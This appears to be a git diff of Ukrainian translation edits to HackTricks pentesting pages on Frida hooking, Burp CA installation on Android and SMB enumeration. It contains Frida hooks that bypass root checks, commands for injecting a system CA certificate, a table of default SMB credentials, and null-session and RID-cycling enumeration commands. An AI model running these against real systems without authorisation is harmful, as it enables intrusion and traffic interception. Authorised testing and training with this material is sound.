виявляється деякими захисними механізмами; тримайте імена/шляхи непомітними і завантажуйте пізніше/умовно, якщо потрібно. -- У захищених додатках краще використовувати rooted тестування з server + late attach, або комбінувати з приховуванням Magisk/Zygisk. +- Gadget виявляється деякими механізмами захисту; тримайте імена/шляхи непомітними та завантажуйте пізно/умовно, якщо потрібно. +- У жорстко захищених додатках надавайте перевагу rooted testing з server + late attach, або комбінуйте з приховуванням Magisk/Zygisk. -## Tutorials +## Підручники ### [Tutorial 1](frida-tutorial-1.md) -**Джерело**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**Вихідний код**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**Перейдіть за [link to read it](frida-tutorial-1.md).** +**Перегляньте [link to read it](frida-tutorial-1.md).** ### [Tutorial 2](frida-tutorial-2.md) -**Джерело**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ -**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Частини 2, 3 & 4)\ +**APKs і вихідний код**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**Перейдіть за[ link to read it.](frida-tutorial-2.md)** +**Перегляньте [ link to read it.](frida-tutorial-2.md)** ### [Tutorial 3](owaspuncrackable-1.md) -**Джерело**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**Перейдіть за [link to read it](owaspuncrackable-1.md).** +**Перегляньте [link to read it](owaspuncrackable-1.md).** -**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**Більше Awesome Frida скриптів можна знайти тут:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) -## Quick Examples +## Швидкі приклади ### Виклик Frida з командного рядка ```bash @@ -126,9 +125,9 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### Hooking functions без параметрів +### Hooking функцій без параметрів -Hook the function `a()` of the class `sg.vantagepoint.a.c` +Hook функцію `a()` у класі `sg.vantagepoint.a.c` ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { @@ -138,7 +137,7 @@ return false; }; }); ``` -Перехопити java `exit()` +Hook java `exit()` ```javascript var sysexit = Java.use("java.lang.System") sysexit.exit.overload("int").implementation = function (var_0) { @@ -159,7 +158,7 @@ send("MainActivity.onCreate() HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -Hook android `.onCreate()` +Перехопити android `.onCreate()` ```javascript var activity = Java.use("android.app.Activity") activity.onCreate.overload("android.os.Bundle").implementation = function ( @@ -169,9 +168,9 @@ send("Activity HIT!!!") var ret = this.onCreate.overload("android.os.Bundle").call(this, var_0) } ``` -### Hooking functions з параметрами та отриманням значення +### Перехоплення функцій з параметрами та отримання значення -Hooking a decryption function. Вивести вхідні дані, викликати оригінальну функцію, decrypt вхідні дані і, нарешті, вивести plain data: +Перехоплення функції дешифрування. Вивести вхідні дані, викликати оригінальну функцію, decrypt the input і, нарешті, вивести plain data: ```javascript function getString(data) { var ret = "" @@ -196,9 +195,9 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### Hooking функцій і викликати їх із нашим input +### Hooking functions та виклик їх із нашого введення -Hook функцію, яка отримує string, і викличте її з іншим string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) +Hook функцію, яка приймає string, і викличте її з іншим string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -213,9 +212,9 @@ return ret ``` ### Отримання вже створеного об'єкта класу -Якщо ви хочете витягти деякий атрибут створеного об'єкта, ви можете скористатися цим. +Якщо ви хочете отримати якийсь атрибут створеного об'єкта, ви можете використати це. -У цьому прикладі ви побачите, як отримати об'єкт класу my_activity і як викликати функцію .secret(), яка виведе приватний атрибут цього об'єкта: +У цьому прикладі ви побачите, як отримати об'єкт класу my_activity та як викликати функцію .secret(), яка виведе приватний атрибут об'єкта: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity", { onMatch: function (instance) { @@ -229,13 +228,13 @@ onComplete: function () {}, ## Інші підручники з Frida - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [Part 1 of Advanced Frida Usage blog series: IOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Частина 1 серії дописів блогу Advanced Frida Usage: iOS Encryption Libraries](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -## Посилання +## Джерела -- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -- [Frida Gadget documentation](https://frida.re/docs/gadget/) -- [Frida releases (server binaries)](https://github.com/frida/frida/releases) +- [Побудова відтворюваної Android Bug Bounty лабораторії: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) +- [Документація Frida Gadget](https://frida.re/docs/gadget/) +- [Релізи Frida (server binaries)](https://github.com/frida/frida/releases) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 683a6e5ac..d2b365f31 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -1,11 +1,11 @@ -# Встановлення сертифікату Burp +# Встановлення сертифіката Burp {{#include ../../banners/hacktricks-training.md}} ## Системний проксі через ADB -Налаштуйте глобальний HTTP-проксі, щоб усі додатки спрямовували трафік через ваш interceptor (Burp/mitmproxy): +Налаштуйте глобальний HTTP-проксі так, щоб увесь трафік додатків маршрутизувався через ваш interceptor (Burp/mitmproxy): ```bash # Set proxy (device/emulator must reach your host IP) adb shell settings put global http_proxy 192.168.1.2:8080 @@ -13,20 +13,20 @@ adb shell settings put global http_proxy 192.168.1.2:8080 # Clear proxy adb shell settings put global http_proxy :0 ``` -Порада: У Burp зв'яжіть свій listener з 0.0.0.0, щоб пристрої в LAN могли підключатися (Proxy -> Options -> Proxy Listeners). +Tip: In Burp, bind your listener to 0.0.0.0 so devices on the LAN can connect (Proxy -> Options -> Proxy Listeners). ## На віртуальній машині -По-перше, вам потрібно завантажити Der сертифікат з Burp. Ви можете зробити це в _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ +Перш за все потрібно завантажити Der certificate з Burp. Ви можете зробити це в _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ ![](<../../images/image (367).png>) -**Експортуйте сертифікат у формат Der** і давайте **перетворимо** його у формат, який **Android** зможе **зрозуміти.** Зверніть увагу, що **щоб налаштувати burp сертифікат на машині Android в AVD** вам потрібно **запустити** цю машину **з** опцією **`-writable-system`**.\ -Наприклад, її можна запустити так: +**Експортуйте сертифікат у форматі Der** і давайте **перетворимо** його у формат, який **Android** зможе **зрозуміти.** Зверніть увагу, що **щоб налаштувати Burp certificate на Android машині в AVD** вам потрібно **запустити** цю машину **з** опцією **`-writable-system`**.\ +Наприклад, ви можете запустити її так: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system ``` -Тоді, щоб **налаштувати сертифікат burps**, виконайте: +Тоді, щоб **налаштувати burps certificate**, зробіть: ```bash openssl x509 -inform DER -in burp_cacert.der -out burp_cacert.pem CERTHASHNAME="`openssl x509 -inform PEM -subject_hash_old -in burp_cacert.pem | head -1`.0" @@ -37,43 +37,43 @@ adb shell mv /sdcard/$CERTHASHNAME /system/etc/security/cacerts/ #Move to correc adb shell chmod 644 /system/etc/security/cacerts/$CERTHASHNAME #Assign privileges adb reboot #Now, reboot the machine ``` -Як тільки **машина завершить перезавантаження**, сертифікат Burp почне використовуватися! +Як тільки **машина завершить перезавантаження**, сертифікат burp буде використовуватися нею! -## Using Magisc +## Використання Magisc -Якщо ви **rooted your device with Magisc** (наприклад емулатор), і ви **не можете виконати** попередні **кроки** для встановлення Burp cert через те, що **filesystem is read-only** і ви не можете remount it writable, є інший спосіб. +Якщо ви **rooted your device with Magisc** (можливо емулятор), і ви **can't follow** попередні **steps** для встановлення Burp cert, тому що **filesystem is read-only** і ви не можете перемонтувати його в режим запису, є інший спосіб. -Пояснено в [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8): потрібно: +Пояснено в [**цьому відео**](https://www.youtube.com/watch?v=qQicUW0svB8): вам потрібно: -1. **Install a CA certificate**: Просто **drag&drop** DER Burp certificate, **змінивши розширення** на `.crt` в мобільному пристрої так, щоб він зберігся в папці Downloads, і перейдіть до `Install a certificate` -> `CA certificate` +1. **Встановити CA-сертифікат**: Просто **перетягніть** DER Burp certificate, змінивши розширення на `.crt` на мобільному пристрої, щоб він зберігся в папці Downloads, і перейдіть до `Install a certificate` -> `CA certificate`
-- Перевірте, що сертифікат правильно збережений, перейшовши до `Trusted credentials` -> `USER` +- Перевірте, що сертифікат правильно збережено, перейшовши до `Trusted credentials` -> `USER`
-2. **Make it System trusted**: Завантажте Magisc модуль [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (файл .zip), **drag&drop** його в телефон, відкрийте **Magics app** на телефоні в розділі **`Modules`**, натисніть **`Install from storage`**, виберіть `.zip` модуль і після встановлення **перезавантажте** телефон: +2. **Зробити його довіреним системно**: Завантажте Magisc модуль [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (файл .zip), **перетягніть його** в телефон, відкрийте додаток Magics на телефоні у секції **`Modules`**, натисніть **`Install from storage`**, виберіть `.zip` модуль і після встановлення **reboot** телефон:
-- Після перезавантаження перейдіть до `Trusted credentials` -> `SYSTEM` і перевірте, що Postswigger cert там є +- Після перезавантаження перейдіть до `Trusted credentials` -> `SYSTEM` і перевірте, що сертифікат Postswigger там присутній
-### Learn how to create a Magisc module +### Дізнайтеся, як створити модуль Magisc -Див. [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) +Перегляньте [https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437](https://medium.com/@justmobilesec/magisk-for-mobile-pentesting-rooting-android-devices-and-building-custom-modules-part-ii-22badc498437) -## Post Android 14 +## Після Android 14 -У останньому релізі Android 14 спостерігається суттєва зміна в обробці системно-довірених Certificate Authority (CA) сертифікатів. Раніше ці сертифікати зберігалися в **`/system/etc/security/cacerts/`**, були доступні і модифіковані користувачами з правами root, що дозволяло миттєво застосовувати їх у всій системі. Проте в Android 14 місце зберігання було перенесено в **`/apex/com.android.conscrypt/cacerts`**, директорію в межах шляху **`/apex`**, яка за своєю природою є незмінною. +У новому релізі Android 14 сталося суттєве зміщення в обробці системно-довірених сертифікатів центру сертифікації (CA). Раніше ці сертифікати зберігалися в **`/system/etc/security/cacerts/`**, були доступні та змінювані користувачами з правами root, що дозволяло негайно застосувати їх в системі. Однак в Android 14 місце зберігання було переміщено до **`/apex/com.android.conscrypt/cacerts`**, директорії всередині шляху **`/apex`**, яка за своєю суттю є незмінною. -Спроби перемонтувати **APEX cacerts path** як записувану зазнають невдачі, оскільки система не дозволяє такі операції. Навіть спроби відмонтувати або накласти на директорію тимчасову файлову систему (tmpfs) не долають незмінність; додатки продовжують отримувати доступ до оригінальних даних сертифікатів незалежно від змін на рівні файлової системи. Така стійкість зумовлена тим, що монтування **`/apex`** конфігуровано з PRIVATE propagation, що гарантує: будь‑які модифікації всередині директорії **`/apex`** не впливають на інші процеси. +Спроби перемонтувати **APEX cacerts path** в режим запису зазнають невдачі, оскільки система не дозволяє такі операції. Навіть спроби відмонтувати або перекрити директорію тимчасовою файловою системою (tmpfs) не обходять незмінність; додатки продовжують звертатися до оригінальних даних сертифікатів незалежно від змін на рівні файлової системи. Ця стійкість зумовлена тим, що монтування **`/apex`** сконфігуроване з PRIVATE propagation, що гарантує, що будь-які модифікації всередині директорії **`/apex`** не впливають на інші процеси. -Ініціалізація Android включає процес `init`, який при запуску ОС також ініціює процес Zygote. Цей процес відповідає за запуск процесів додатків із новим mount namespace, який включає приватний монтаж **`/apex`**, тим самим ізолюючи зміни в цій директорії від інших процесів. +Ініціалізація Android включає процес init, який при старті ОС також запускає процес Zygote. Цей процес відповідає за запуск процесів додатків з новою просторою монтів, яка включає приватне монтування **`/apex`**, тим самим ізолюючи зміни в цій директорії від інших процесів. -Проте існує обхідний шлях для тих, кому потрібно змінити системно-довірені CA сертифікати в директорії **`/apex`**. Це передбачає ручне перемонтування **`/apex`** з метою видалення PRIVATE propagation, що робить його записуваним. Процес включає копіювання вмісту **`/apex/com.android.conscrypt`** в інше місце, відмонтування директорії **`/apex/com.android.conscrypt`** щоб усунути обмеження лише для читання, а потім відновлення вмісту назад у її початкове місце в **`/apex`**. Цей підхід вимагає швидких дій, щоб уникнути збоїв системи. Щоб гарантувати застосування змін у всій системі, рекомендується перезапустити system_server, що фактично перезапускає всі додатки і приводить систему у узгоджений стан. +Проте існує обхідний шлях для тих, хто потребує змінити системно-довірені CA сертифікати в директорії **`/apex`**. Це включає ручне перемонтування **`/apex`** з метою видалити PRIVATE propagation, роблячи його записуваним. Процес включає копіювання вмісту **`/apex/com.android.conscrypt`** в інше місце, відмонтування директорії **`/apex/com.android.conscrypt`** щоб усунути обмеження лише для читання, а потім відновлення вмісту назад у початкове місце всередині **`/apex`**. Цей підхід вимагає швидких дій, щоб уникнути краху системи. Щоб забезпечити застосування цих змін по всій системі, рекомендується перезапустити `system_server`, що фактично перезапустить всі додатки і приведе систему до узгодженого стану. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -133,22 +133,22 @@ echo "System certificate injected" ``` ### Bind-mounting through NSEnter -1. **Налаштування записуваного каталогу**: Спочатку створюється записуваний каталог шляхом монтування `tmpfs` поверх існуючого non-APEX системного каталогу сертифікатів. Це досягається за допомогою наступної команди: +1. **Налаштування записуваного каталогу**: Спочатку створюється записуваний каталог шляхом примонтування `tmpfs` поверх існуючого non-APEX системного каталогу сертифікатів. Це досягається наступною командою: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` -2. **Preparing CA Certificates**: Після налаштування каталогу, доступного для запису, сертифікати CA, які планується використовувати, слід скопіювати в цей каталог. Це може включати копіювання сертифікатів за замовчуванням з `/apex/com.android.conscrypt/cacerts/`. Необхідно відповідно налаштувати права доступу та мітки SELinux для цих сертифікатів. -3. **Bind Mounting for Zygote**: Використовуючи `nsenter`, потрібно увійти в простір імен монтовань процесу Zygote. Zygote, як процес, відповідальний за запуск Android-додатків, вимагає цього кроку, щоб гарантувати, що всі додатки, що будуть запускатися надалі, використовуватимуть ново налаштовані сертифікати CA. Команда, що використовується: +2. **Preparing CA Certificates**: Після налаштування записуваного каталогу, CA-сертифікати, які планується використовувати, потрібно скопіювати в цей каталог. Це може включати копіювання стандартних сертифікатів з `/apex/com.android.conscrypt/cacerts/`. Важливо відповідно налаштувати права доступу та SELinux мітки цих сертифікатів. +3. **Bind Mounting for Zygote**: Використовуючи `nsenter`, потрапляють у mount namespace Zygote. Zygote, процес, який відповідає за запуск Android-додатків, вимагає цього кроку, щоб усі додатки, що запускатимуться надалі, використовували щойно налаштовані CA-сертифікати. Команда, що використовується: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -Це гарантує, що кожен новий додаток під час запуску дотримуватиметься оновленого налаштування сертифікатів CA. +Це гарантує, що кожен новий додаток при запуску буде дотримуватись оновлених налаштувань CA-сертифікатів. -4. **Застосування змін до працюючих додатків**: Щоб застосувати зміни до вже запущених додатків, знову використовується `nsenter`, щоб увійти в namespace кожного додатку окремо та виконати аналогічний bind mount. Необхідна команда: +4. **Застосування змін до запущених додатків**: Щоб застосувати зміни до вже запущених програм, `nsenter` знову використовується, щоб увійти в namespace кожного додатка окремо та виконати аналогічний bind mount. Необхідна команда: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternative Approach - Soft Reboot**: Альтернативний метод полягає у виконанні bind mount на процесі `init` (PID 1) з наступним soft reboot операційної системи за допомогою команд `stop && start`. Цей підхід поширить зміни на всі namespaces, уникаючи необхідності окремо обробляти кожен запущений app. Однак цей метод загалом менш бажаний через незручність перезавантаження. +5. **Alternative Approach - Soft Reboot**: Альтернативний метод полягає в тому, щоб виконати bind mount на процесі `init` (PID 1), а потім зробити м'яке перезавантаження операційної системи за допомогою команд `stop && start`. Цей підхід поширює зміни на всі namespaces, уникаючи необхідності звертатися до кожного запущеного додатку окремо. Однак цей метод загалом менш бажаний через незручності, пов'язані з перезавантаженням. ## References diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index e9a1e5ee1..285e4e996 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -2,45 +2,45 @@ {{#include ../../banners/hacktricks-training.md}} -## **Port 139** +## **Порт 139** -The _**Мережева система базового вводу/виводу**_** (NetBIOS)** — це програмний протокол, призначений забезпечити взаємодію додатків, ПК та настільних комп'ютерів у локальній мережі (LAN) з мережевим обладнанням та **полегшити передачу даних мережею**. Ідентифікація та визначення місцезнаходження програм, що працюють у мережі NetBIOS, здійснюються за їхніми іменами NetBIOS, які можуть налічувати до 16 символів і часто відрізняються від імені комп'ютера. Сеанс NetBIOS між двома додатками ініціюється, коли один додаток (в ролі клієнта) відправляє команду "call" іншому додатку (в ролі сервера), використовуючи **TCP Port 139**. +_**Network Basic Input Output System**_** (NetBIOS)** — це програмний протокол, призначений дозволити застосункам, ПК і десктопам у локальній мережі (LAN) взаємодіяти з мережевим обладнанням та **сприяти передачі даних мережею**. Ідентифікація та локалізація програм, що працюють у NetBIOS мережі, здійснюються за допомогою їхніх NetBIOS імен, які можуть містити до 16 символів і часто відрізняються від імені комп'ютера. NetBIOS-сесію між двома застосунками ініціюють, коли одна програма (що виступає як client) відправляє команду "call" іншій програмі (що виступає як server), використовуючи **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -Технічно Port 139 позначається як «NBT over IP», тоді як Port 445 — як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», що сучасно відоме як **Common Internet File System (CIFS)**. Як мережевий протокол прикладного рівня, SMB/CIFS переважно використовується для надання спільного доступу до файлів, принтерів, послідовних портів та для забезпечення різних форм взаємодії між вузлами в мережі. +Технічно порт 139 називають ‘NBT over IP’, тоді як порт 445 ідентифікують як ‘SMB over IP’. Абревіатура **SMB** означає ‘**Server Message Blocks**’, яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол прикладного рівня, SMB/CIFS переважно використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та полегшення різних форм звʼязку між вузлами в мережі. -Наприклад, у контексті Windows відзначається, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP шляхом використання порту 445. Натомість на інших системах використовується порт 139, що вказує на те, що SMB виконується разом із NetBIOS over TCP/IP. +Наприклад, у контексті Windows зауважується, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP, через використання порту 445. Навпаки, на інших системах спостерігається застосування порту 139, що вказує на те, що SMB виконується у звʼязці з NetBIOS over TCP/IP. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB -The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **доступу до файлів**, каталогів та інших мережевих ресурсів, таких як принтери та маршрутизатори. Переважно використовується в сімействі операційних систем **Windows**, SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями ОС Microsoft безперешкодно взаємодіяти з пристроями на старіших версіях. Крім того, проект **Samba** пропонує вільне програмне забезпечення для реалізації SMB на системах **Linux** та Unix, що полегшує крос-платформенну взаємодію через SMB. +Протокол Server Message Block (SMB), який працює за моделлю клієнт‑сервер, призначений для регулювання доступу до файлів, каталогів та інших мережевих ресурсів, таких як принтери і маршрутизатори. Переважно використовується в серії операційних систем Windows; SMB забезпечує зворотну сумісність, дозволяючи пристроям із новішими версіями ОС Microsoft безшовно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проект Samba пропонує вільне програмне забезпечення для реалізації SMB на системах Linux і Unix, полегшуючи кросплатформенну комунікацію через SMB. -Шари, що представляють **довільні частини локальної файлової системи**, можуть надаватися SMB-сервером, роблячи ієрархію, видиму клієнту, частково **незалежною** від фактичної структури сервера. **Access Control Lists (ACLs)**, які визначають **права доступу**, дозволяють **тонко налаштовувати** дозволи користувачів, включаючи атрибути на кшталт **`execute`**, **`read`** і **`full access`**. Ці дозволи можуть призначатися окремим користувачам або групам на основі шарів і відрізняються від локальних дозволів, встановлених на сервері. +Шари, які представляють довільні частини локальної файлової системи, можуть надаватися SMB‑сервером, роблячи ієрархію видимою для клієнта частково незалежно від фактичної структури сервера. Списки контролю доступу (ACLs), які визначають права доступу, дозволяють здійснювати тонке керування дозволами користувачів, включно з атрибутами `execute`, `read` і `full access`. Ці дозволи можуть призначатися окремим користувачам або групам на основі шарів і відрізняються від локальних дозволів, встановлених на сервері. ### IPC$ Share -Доступ до IPC$ share може бути отриманий через анонімну null-сесію, що дозволяє взаємодіяти з сервісами, виставленими через іменовані канали (named pipes). Утиліта `enum4linux` корисна для цього. При правильному використанні вона дозволяє отримати: +Доступ до шару IPC$ можна отримати через анонімну null session, що дозволяє взаємодіяти зі службами, доступними через named pipes. Для цього корисна утиліта `enum4linux`. При правильному використанні вона дозволяє отримати: - Інформацію про операційну систему -- Дані про батьківський домен +- Деталі про батьківський домен - Перелік локальних користувачів і груп -- Інформацію про доступні SMB-шари -- Діючу політику безпеки системи +- Інформацію про доступні SMB‑шари +- Ефективну політику безпеки системи -Ця функціональність критично важлива для мережевих адміністраторів та фахівців із безпеки для оцінки рівня захищеності SMB (Server Message Block) сервісів у мережі. Утиліта `enum4linux` надає комплексний огляд SMB-середовища цільової системи, що є необхідним для виявлення потенційних вразливостей та забезпечення належного захисту SMB-сервісів. +Ця функціональність критично важлива для мережевих адміністраторів та фахівців із безпеки для оцінки рівня захищеності служб SMB у мережі. Утиліта `enum4linux` надає всебічний огляд SMB‑середовища цільової системи, що є необхідним для виявлення потенційних вразливостей і забезпечення належного захисту служб SMB. ```bash enum4linux -a target_ip ``` -Наведена вище команда є прикладом того, як `enum4linux` може використовуватися для виконання повного enumeration щодо цілі, зазначеної як `target_ip`. +The above command is an example of how `enum4linux` might be used to perform a full enumeration against a target specified by `target_ip`. ## Що таке NTLM -Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює і як ним можна зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як працює цей протокол і як ви можете ним скористатися:** +Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює та як його можна зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як цей протокол працює і як ви можете ним скористатися:** {{#ref}} @@ -49,15 +49,15 @@ enum4linux -a target_ip ## **Server Enumeration** -### **Scan** мережу в пошуках хостів: +### **Scan** мережу, шукаючи hosts: ```bash nbtscan -r 192.168.0.1/24 ``` -### Версія SMB сервера +### Версія SMB-сервера -Щоб шукати можливі експлойти для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не відображається в інших використовуваних інструментах, ви можете: +Щоб шукати можливі exploits для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не відображається в інших використовуваних інструментах, ви можете: -- Використайте **MSF** auxiliary module `**auxiliary/scanner/smb/smb_version**` +- Використайте допоміжний модуль **MSF** `**auxiliary/scanner/smb/smb_version**` - Або цей скрипт: ```bash #!/bin/sh @@ -82,15 +82,15 @@ searchsploit microsoft smb ``` ### **Можливі** облікові дані -| **Імена користувачів** | **Поширені паролі** | -| ---------------------- | ----------------------------------------- | -| _(порожньо)_ | _(порожньо)_ | -| guest | _(порожньо)_ | -| Administrator, admin | _(порожньо)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | +| **Ім'я(я) користувача** | **Поширені паролі** | +| ----------------------- | ---------------------------------------- | +| _(blank)_ | _(blank)_ | +| guest | _(blank)_ | +| Administrator, admin | _(blank)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | ### Brute Force @@ -134,44 +134,44 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### Перерахування локальних користувачів +### Перелічити локальних користувачів [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash lookupsid.py -no-pass hostname.local ``` -Oneliner +Однорядковий ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` -### Metasploit - Перелічити локальних користувачів +### Metasploit - Перерахувати локальних користувачів ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` -### **Перерахування LSARPC і SAMR через rpcclient** +### **Перерахування LSARPC і SAMR за допомогою rpcclient** {{#ref}} rpcclient-enumeration.md {{#endref}} -### GUI-з'єднання з linux +### Підключення через GUI з Linux #### У терміналі: `xdg-open smb://cascade.htb/` -#### У вікні файлового браузера (nautilus, thunar, etc) +#### У вікні файлового менеджера (nautilus, thunar, etc) `smb://friendzone.htb/general/` -## Перелік спільних папок +## Перерахування спільних папок -### Перелічити спільні папки +### Перелік спільних папок -Завжди рекомендовано перевірити, чи маєте доступ до чого-небудь; якщо у вас немає credentials, спробуйте використати **null** **credentials/guest user**. +Завжди рекомендовано перевірити, чи маєте ви доступ до чогось; якщо у вас немає облікових даних, спробуйте використовувати **null** **credentials/guest user**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -185,7 +185,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Підключити/Переглянути спільну папку** +### **Підключити/Перелічити спільну папку** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,9 +197,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` -### **Вручну перерахувати Windows shares і підключитися до них** +### **Вручну перелічити windows shares і підключитися до них** -Може виявитися, що вам обмежено показувати будь-які shares хост-машини, і при спробі їх перерахувати здається, ніби немає жодних shares для підключення. Тому варто спробувати вручну підключитися до share. Щоб перерахувати shares вручну, слід звертати увагу на відповіді на кшталт NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні валідної сесії (наприклад null session або дійсні облікові дані). Це може вказувати на те, що share існує, але у вас немає доступу, або ж share взагалі не існує. +Може статись, що вам заборонено показувати будь-які shares на хост-машині, і коли ви намагаєтесь їх перерахувати, виглядає так, ніби немає жодних shares для підключення. Тому варто коротко спробувати вручну підключитися до share. Щоб вручну перерахувати shares, звертайте увагу на відповіді типу NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні дійсної сесії (наприклад, null session або дійсні облікові дані). Це може вказувати, чи існує share, але у вас немає до нього доступу, або що share взагалі не існує. Common share names for windows targets are @@ -214,12 +214,12 @@ Common share names for windows targets are (Common share names from _**Network Security Assessment 3rd edition**_) -You can try to connect to them by using the following command +Ви можете спробувати підключитися до них, використовуючи наступну команду ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -або цей скрипт (використовуючи null session) +або цей скрипт (з використанням null session) ```bash #/bin/bash @@ -241,7 +241,7 @@ done smbclient 